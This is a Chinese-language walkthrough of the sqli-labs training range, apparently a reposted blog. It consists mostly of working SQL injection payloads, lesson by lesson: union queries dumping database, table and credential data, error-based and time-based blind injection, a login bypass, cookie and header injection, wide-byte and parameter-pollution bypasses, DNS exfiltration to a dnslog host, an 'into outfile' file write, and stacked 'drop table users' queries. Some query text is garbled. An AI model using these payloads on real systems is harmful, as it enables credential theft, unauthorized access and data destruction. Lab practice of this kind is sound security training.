SQL注入练习--sqli-labs

前言

SQL注入是比较常见的漏洞,有数据库的地方就可能存在SQL注入,所以学好SQL注入是非常有必要的,sqli-labs是一个不错的练习靶场。推荐一篇文章SQL注入之Mysql注入姿势及绕过总结

前置知识

注入流程

判断是否存在注入,注入是字符型还是数字型,闭合情况,绕过方式

?id=1' 
?id=1" 
?id=1') 
?id=1") 
?id=1' or 1#
?id=1' or 0#
?id=1' or 1=1#
?id=1' and 1=2#
?id=1' and sleep(5)#
?id=1' and 1=2 or ' 
?id=1\

猜测SQL查询语句中的字段数

1' order by 1#
1' order by 2#
1' order by 3#
1 order by 1
1 order by 2
1 order by 3
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1 union select 1#
1 union select 1,2#
1 union select 1,2,3#

使用 union select 联合查询,不断在 union select 后面加数字,直到不报错,即可确定字段数量。
使用 order/group by 语句,通过往后边拼接数字指导页面报错,可确定字段数量。
确定显示数据的字段位置
使用 union select 1,2,3,4,… 根据回显的字段数,判断回显数据的字段位置。

-1' union select 1#
-1' union select 1,2#
-1' union select 1,2,3#
-1 union select 1#
-1 union select 1,2#
-1 union select 1,2,3#

注意:

若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面进行的是单行数据输出,我们让前边的 select 查询条件返回结果为空即可。
⼀定要拼接够足够的字段数,否则SQL语句报错。
在回显数据的字段位置使用 union select 将我们所需要的数据查询出来即可。包括但不限于:

-1' union select 1,2,database()--+
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
-1' union select 1,2,group_concat(id,0x7c,username,0x7c,password) from users--+

-1' union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3--+
  • 获取数据
  • 获取表中的字段名
  • 获取当前数据库的表名
  • 获取当前数据库名

一般情况下就是这样的一个顺序,确定联合查询的字段数->确定联合查询回显位置->爆库->爆表->爆字段->爆数据。

我们可以看到这里使用了group_concat来拼接查询多个数据,在很多种查询中都有使用这个函数来提高效率,同时还可以拼接十六进制特殊字符来分隔,同时还使用了information_shcema表获取表信息、字段信息,这个表在低版本mysql中不存在,同时有时还会被过滤,这也会是我们绕过的一个方向。

通关记录

Page-1

判断是否存在注入

Less-1——基于单引号的字符型注入

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";

id=1‘报错
在这里插入图片描述
注入语句

?id=1' /*注入语句*/ --+
less-2——布尔型注入

sql=“SELECT * FROM users WHERE id=$id LIMIT 0,1”;

注入语句

?id=1 /*注入语句*/ --+
less-3——基于’)的字符型注入

sql=“SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1”;

注入语句

?id=0') union select 1,2,database()--+
less-4——基于")字符型注入

id = ‘"’ . $id . ‘"’;

sql=“SELECT * FROM users WHERE id=($id) LIMIT 0,1”;

注入语句

?id=0") union select 1,2,database()--+

报错注入

UPDATEXML (XML_document, XPath_string, new_value);

  • 第一个参数:XML_document是String格式,为XML文档对象的名称 文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
    作用:改变文档中符合条件的节点的值

由于updatexml的第二个参数需要Xpath格式的字符串,如果不符合xml格式的语法,就可以实现报错注入了。

less-5——基于’字符型的错误回显注入

注入语句

?id=1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
less-6——基于"字符型的错误回显注入

注入语句

?id=1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
less-7——文件读写注入

注入语句

?id=1')) union select 1,'',3 into outfile 'test.php' --+
less-8——基于’的盲注(利用dns回显)

注入语句

?id=1' and load_file(concat("\\\\",(database()),".u92w0h.dnslog.cn\\1.txt")) --+
less-9——基于’的时间盲注

如果数据库长度大于3则不执行,反之睡眠5秒
注入语句

?id=1' and if(length(database())>3,1,sleep(5)) --+
less-10——基于"的时间盲注

注入语句

?id=1" and if(length(database())>3,1,sleep(5)) --+
less-11——基于’的POST型注入

使用万能密钥

username: 1' or 1=1 #
password:
less-12——基于")的POST型注入

注入语句

username: 1") or 1=1 #
password:
less-13——基于’)的错误回显注入

注入语句

admin') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
less-14——基于"的错误回显注入

注入语句

admin" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) #
less-15——基于’的POST型注入(利用dns回显)

原理
注入语句

admin' and load_file(concat("\\\\",(database()),".your-dnslog.com\\1.txt")) #
less-16——基于")的POST型注入(利用dns回显)
admin") and load_file(concat("\\\\",(database()),".your-dnslog.com\\1.txt")) #
less-17——基于’的密码报错注入
admin
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
less-18——基于’的User-Agent:报头文报错注入
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#

SQL注入练习--sqli-labs_第1张图片

less-19——基于’的Referer:报头文报错注入

SQL注入练习--sqli-labs_第2张图片

less-20——基于’的Cookie:报头文报错注入
uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;

SQL注入练习--sqli-labs_第3张图片

Page-2

less-21——基于’)字符型的Cookie注入

这里是比上一个多了一个编码

$cookee = base64_decode($cookee);
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiwodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsIGRhdGFiYXNlKCksMHg3ZSksMSkpIyA7
less-22——基于"字符型的Cookie注入
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLCh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSwweDdlKSwxKSkjIDs=
less-23——过滤注释的GET型注入

这里把双引号和注释符都过滤了
SQL注入练习--sqli-labs_第4张图片

?id=-1' union select 1,database(),3 '
less-24——二次注入

登陆的时候对参数进行了过滤
在这里插入图片描述
可以利用更改密码进行二次注入
在这里插入图片描述
先创建一个新用户
SQL注入练习--sqli-labs_第5张图片
登陆账号,修改密码
SQL注入练习--sqli-labs_第6张图片

less-25——过滤or和and的单引号注入
?id=-1' union select 1,database(),3 -- -
less-25a——过滤or和and的注入
?id=-1 union select 1,database(),3 -- -
less-26——基于’过滤注释和空格的注入

SQL注入练习--sqli-labs_第7张图片

?id=-1'aandnd(updatexml(0x7e,user(),0x7e))anandd'1'='1
less-26a——基于’)过滤注释和空格的盲注

空格使用%0a代替

?id=-1')union%a0select%a01,database(),('3
less-27——基于’过滤union、select与注释和空格的注入
?id=1'and(updatexml(1,user(),1))and'1'='1
less-27a——基于"过滤union和select 的盲注
?id=1"and(updatexml(1,uer(),1))and"1"="1
less-28——基于’)过滤union和select等的注入
?id=111')%0aUnIon%0aAll%0aSelect ('1'),database(),('3
less-28a——基于’)过滤union、select和空格的盲注
?id=111')%0aUnIon%0aAll%0aSelect ('1'),database(),('3
less-29 index.php——基于单引号字符型的注入
?id=-1' union select 1,database(),3 -- -
less-29 隐藏关login.php——基于单引号的参数污染绕过

参数污染漏洞(HPP)

?id=1&id=-1' union select 1,database(),3 -- -
less-30 index.php——基于双引号字符型的注入
?id=-1" union select 1,database(),3 -- -
less-30 隐藏关login.php——基于双引号的参数污染绕过
?id=1&id=-1" union select 1,database(),3 -- -
less-31——基于")字符型的注入
?id=-1") union select 1,database(),3 -- -
less-31 隐藏关login.php——基于")的参数污染绕过
?id=1&id=-1") union select 1,database(),3 -- -
less-32——宽字节注入

我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c

SELECT * FROM users WHERE id='1\'' LIMIT 0,1

这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功绕过

SELECT * FROM users WHERE id='1�\'#' LIMIT 0,1

绕过原理:
%df%5c组成一个新的字符,会吃掉转义的字符\,如此,单引号的转义就不成功了,出现的单引号就会破坏sql语句的结果,产生报错。

?id=-1%df' union select 1,database(),3 -- -
less-33——get方式宽字节注入
?id=-1%df' union select 1,database(),3 -- -
less-34——post方式宽字节注入

方法一:
这一关是POST型的注入,同样的将post传递过来的内容进行了转义处理,过滤了单引号、反斜杠。有之前的例子我们可以看到%df可以将转义的反斜杠给吃掉。而GET型的方式我们是以url形式提交的,因此数据会通过urlencode,如何将方法用在POST型的注入当中呢?我们可以将UTF-8转换为UTF-16或者UTF-32,例如将’转换为utf-16为: �’。

 �' union select 1,database() #

方法二:
因为这里使用到了表单的提交,所以我们可以使用burp suite进行数据的提交,之后对提交的数据进行修改:

uname=admin%df'||1#&passwd=aaa
less-35——数值型注入
?id=-1 union select 1,database(),3 -- -
less-36——宽字节注入
?id=-1�' union select 1,database(),3 -- -
less-37——宽字节post注入
-1�' union select 1,database() -- -

Page-3 (Stacked Injections)堆叠注入 less38-53

在SQL中,分号;是用来表示一条sql语句的结束。试想一下,我们在结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

less-38——基于字符串的堆叠注入
?id=1';drop table users; -- -
less-39——堆叠注入
?id=1;drop table users; -- -
less-40——堆叠盲注
?id=1;drop table users; -- -

你可能感兴趣的:(sql,web安全,安全)